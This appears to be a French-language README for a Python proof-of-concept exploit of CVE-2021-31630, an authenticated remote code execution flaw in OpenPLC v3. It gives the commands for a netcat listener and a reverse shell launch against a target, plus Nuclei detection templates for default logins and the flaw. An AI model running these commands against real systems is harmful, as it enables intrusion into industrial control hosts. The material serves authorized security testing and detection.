
Exploit de preuve de concept en Python 3.13+ pour CVE-2021-31630, permettant l'exécution de code à distance authentifiée sur OpenPLC v3 via le téléversement d'une couche matérielle malveillante. Inclut des modèles de détection Nuclei pour les identifiants par défaut et les vérifications de vulnérabilité.
Ceci est un proof-of-concept moderne et compatible Python 3.13+ pour CVE-2021-31630, une vulnérabilité dans OpenPLC v3 qui permet à un utilisateur authentifié de téléverser une couche matérielle personnalisée contenant du code malveillant, conduisant à une exécution de code à distance (RCE) sur l'hôte.
Découverte originale de la vulnérabilité et avis par Fellipe Oliveira. Cette réimplémentation et modernisation utilise httpx, des outils en ligne de commande, la journalisation et des techniques de détection plus sûres.
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001
Options facultatives :
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
Le deuxième modèle se connecte et tente un téléversement de charge utile inoffensive + compilation pour confirmer la vulnérabilité probable — sans déclencher une exécution de code réelle.
Ce code est destiné uniquement à des tests de sécurité éducatifs et autorisés. Ne pas l'utiliser sans l'autorisation explicite du propriétaire du système.